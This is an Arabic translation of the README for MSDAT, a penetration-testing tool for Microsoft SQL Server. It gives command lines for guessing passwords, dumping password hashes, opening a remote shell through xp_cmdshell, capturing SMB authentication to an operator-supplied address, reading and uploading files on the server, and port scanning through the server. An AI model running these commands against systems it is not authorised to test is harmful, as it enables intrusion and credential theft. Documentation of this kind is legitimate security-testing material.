
MSDAT: أداة هجوم قاعدة بيانات Microsoft SQL
| كوينتين هاردي |
|---|
| [email protected] |
| [email protected] |
مزدات (أداة اختراق قواعد بيانات مايكروسوفت SQL) هي أداة اختبار اختراق مفتوحة المصدر تُختبر أمان قواعد بيانات مايكروسوفت SQL عن بُعد.
أمثلة استخدام مزدات:
تم اختباره على قواعد بيانات مايكروسوفت SQL 2005، 2008، 2012، 2014، 2016 و 2019.
بفضل مزدات (أداة اختراق قواعد بيانات مايكروسوفت SQL)، يمكنك (قائمة غير شاملة):
يجب تثبيت بعض التبعيات لتشغيل مزدات.
في أوبونتو:
sudo apt-get install freetds-dev
أو تحميل freetds من http://www.freetds.org/
تثبيت تبعيات Python:
sudo pip3 install -r requirements.txt
sudo activate-global-python-argcomplete
أو
sudo pip3 install cython colorlog termcolor pymssql argparse python-libnmap
sudo pip3 install argcomplete && sudo activate-global-python-argcomplete
أضف "use ntlmv2 = yes" في ملف تكوين freetds الخاص بك (مثال: /etc/freetds/freetds.conf أو /usr/local/etc/freetds.conf).
مثال:
[global]
# TDS protocol version
tds version = 8.0
use ntlmv2 = yes
python3 msdat.py -h 2 ⨯
usage: msdat.py [-h] [--version]
{all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
...
_ _ __ __ _ ___
| \_/ |/ _|| \ / \|_ _|
| \_/ |\_ \| o ) o || |
|_| |_||__/|__/|_n_||_|
------------------------------------------------------
_ _ __ __ _ ___
| \_/ |/ _| | \ / \ |_ _|
| \_/ |\_ \ | o ) o | | |
|_| |_||__/icrosoft |__/atabase |_n_|ttacking |_|ool
-------------------------------------------------------
بواسطة كوينتين هاردي ([email protected])
الوسائط الموضعية:
{all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
اختر أمرًا رئيسيًا
all لتشغيل جميع الوحدات لمعرفة ما هو ممكن فعله
mssqlinfo للحصول على معلومات دون مصادقة
passwordguesser لمعرفة بيانات الاعتماد الصالحة
passwordstealer للحصول على كلمات مرور مجزأة
xpcmdshell للحصول على غلاف
jobs لتنفيذ أوامر النظام
smbauthcapture لالتقاط مصادقة SMB
oleautomation لقراءة/كتابة ملف وتنفيذ أوامر النظام
bulkopen لقراءة ملف ومسح المنافذ
xpdirectory لسرد الملفات/الأقراص وإنشاء الدلائل
trustworthype لتصبح مسؤول النظام باستخدام طريقة قاعدة البيانات الموثوقة
userlikepwd لمحاولة كل اسم مستخدم MSSQL مخزن في قاعدة البيانات ككلمة مرور مقابلة
search للبحث في أسماء الأعمدة
cleaner تنظيف الآثار المحلية
الوسائط الاختيارية:
-h, --help عرض رسالة المساعدة هذه والخروج
--version عرض رقم إصدار البرنامج والخروج
./msdat.py -h
./msdat.py all -h
يمكنك معرفة ما إذا كان يمكن استخدام وحدة معينة على خادم MSSQL بفضل خيار --test-module. هذا الخيار مُطبق في كل وحدة من وحدات mdat.
تتيح لك وحدة all تشغيل جميع الوحدات (يعتمد على الخيارات التي اشتريتها).
python msdat.py all -s $SERVER
إذا أردت:
./msdat.py all -s $SERVER -p $PORT --accounts-file accounts.txt --login-timeout 10 --force-retry
في كل وحدة، يمكنك تحديد مجموعة الأحرف المراد استخدامها باستخدام خيار --charset.
للحصول على معلومات تقنية حول خادم MSSQL عن بُعد دون الحاجة إلى المصادقة:
./msdat.py mssqlinfo -s $SERVER -p $PORT --get-max-info
تستخدم هذه الوحدة بروتوكول TDS و متصفح SQL Server للحصول على المعلومات.
تتيح لك هذه الوحدة البحث عن بيانات اعتماد صالحة:
./msdat.py passwordguesser -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --force-retry --search
يسمح خيار --force-retry باختبار كلمات مرور متعددة لكل مستخدم دون أن يُطلب منك.
يمكنك تحديد ملف الحساب الخاص بك باستخدام خيار --accounts-file:
./msdat.py passwordguesser -s $SERVER -p $PORT --search --accounts-file accounts.txt --force-retry
لتخزين كلمات المرور المجزأة:
./msdat.py passwordstealer -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --dump --save-to-file test.txt
تم اختبار هذه الوحدة على SQL Server 2000، 2005، 2008 و 2014.
لتنفيذ أوامر النظام بفضل xp_cmdshell (https://msdn.microsoft.com/en-us/library/ms190693.aspx):
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell
يمنحك الأمر السابق غلافًا تفاعليًا على خادم قاعدة البيانات عن بُعد.
إذا لم يكن xp_cmdshell مفعّلاً، يمكن استخدام خيار --enable-xpcmdshell في هذه الوحدة لتفعيله:
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --enable-xpcmdshell --disable-xpcmdshell --shell
يقوم خيار --enable-xpcmdshell بتفعيل xp_cmdshell إذا لم يكن مفعّلاً (غير مفعّل افتراضيًا).
يقوم خيار --disable-xpcmdshell بتعطيل xp_cmdshell إذا كان مفعّلاً.
بفضل هذه الوحدة، يمكنك التقاط مصادقة SMB:
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --capture $MY_IP_ADDRESS --share-name SHARE
لالتقاط مصادقة SMB، يمكن استخدام وحدة auxiliary/server/capture/smb (http://www.rapid7.com/db/modules/auxiliary/server/capture/smb) من metasploit:
msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > exploit
يحاول أمر capture لهذه الوحدة التقاط مصادقة SMB بفضل إجراءات xp_dirtree أو xp_fileexist أو xp-getfiledetails.
إذا أردت اختيار إجراء مصادقة SMB لالتقاط المصادقة:
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-dirtree-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-fileexist-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-getfiledetails-capture 127.0.0.1
يمكنك تغيير اسم SHARE باستخدام خيار --share-name.
يمكن استخدام هذه الوحدة لقراءة/كتابة ملف في خادم قاعدة البيانات.
الأمر التالي يقرأ الملف temp.txt المخزن في خادم قاعدة البيانات:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'
لكتابة سلسلة نصية في ملف (temp.txt) عن بُعد:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --write-file 'C:\Users\Administrator\Desktop\temp.txt' 'a\nb\nc\nd\ne\nf'
يمكن استخدام هذه الوحدة لتنزيل ملف (C:\Users\Administrator\Desktop\temp.txt) مخزن على خادم قاعدة البيانات:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt
أيضًا، يمكنك استخدام هذه الوحدة لرفع ملف (temp.txt) على الهدف:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --put-file temp.txt 'C:\Users\Administrator\Desktop\temp.txt
يمكن استخدام وحدة bulkopen:
لقراءة ملف مخزن في الهدف، يمكن استخدام الأمر التالي:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'"
يمكن استخدام خيار --method لتحديد الطريقة المراد استخدامها:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt' --method openrowset
لتنزيل ملف (C:\Users\Administrator\Desktop\temp.txt):` ``bash ./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt
يمكن استخدام هذه الوحدة لمسح المنافذ (1433 و 1434 لـ 127.0.0.1) عبر خادم قاعدة البيانات:
```bash
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433,1434 -v
يمكنك مسح نطاق من المنافذ:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433-1438
يمكن استخدام هذه الوحدة لتنفيذ استعلامات SQL (مثال: select @@ServerName) على خادم قاعدة بيانات عن بُعد (مثال: $SERVER2) عبر قاعدة البيانات ($SERVER):
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --request-rdb $SERVER2 $PORT $DATABASE $USER $PASSWORD 'select @@ServerName'
يمكن استخدام وحدة xpdirectory:
لسرد الملفات في دليل معين:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-files 'C:\'
لسرد الدلائل في دليل معين:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-dir 'C:\'
لسرد الأقراص:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-fixed-drives --list-available-media
للتحقق من وجود ملف:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --file-exists 'C:\' --file-exists 'file.txt'
لإنشاء دليل:
./msdat.py xpdirectory --s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --create-dir 'C:\temp'
يمكن استخدام وحدة search للبحث عن نمط في أسماء أعمدة الجداول والعروض. مفيد للبحث عن النمط %password% في أسماء الأعمدة على سبيل المثال.
للحصول على أسماء الأعمدة التي تحتوي على أنماط كلمة المرور (مثل: passwd, password, motdepasse, clave):
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns
إذا أردت رؤية أسماء الأعمدة التي لا تحتوي على بيانات، يجب استخدام خيار --show-empty-columns.
للبحث عن نمط معين في أسماء أعمدة العروض والجداول:
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns
إذا كنت ترغب في دعم عملي عن طريق التبرع، سأكون ممتنًا جدًا: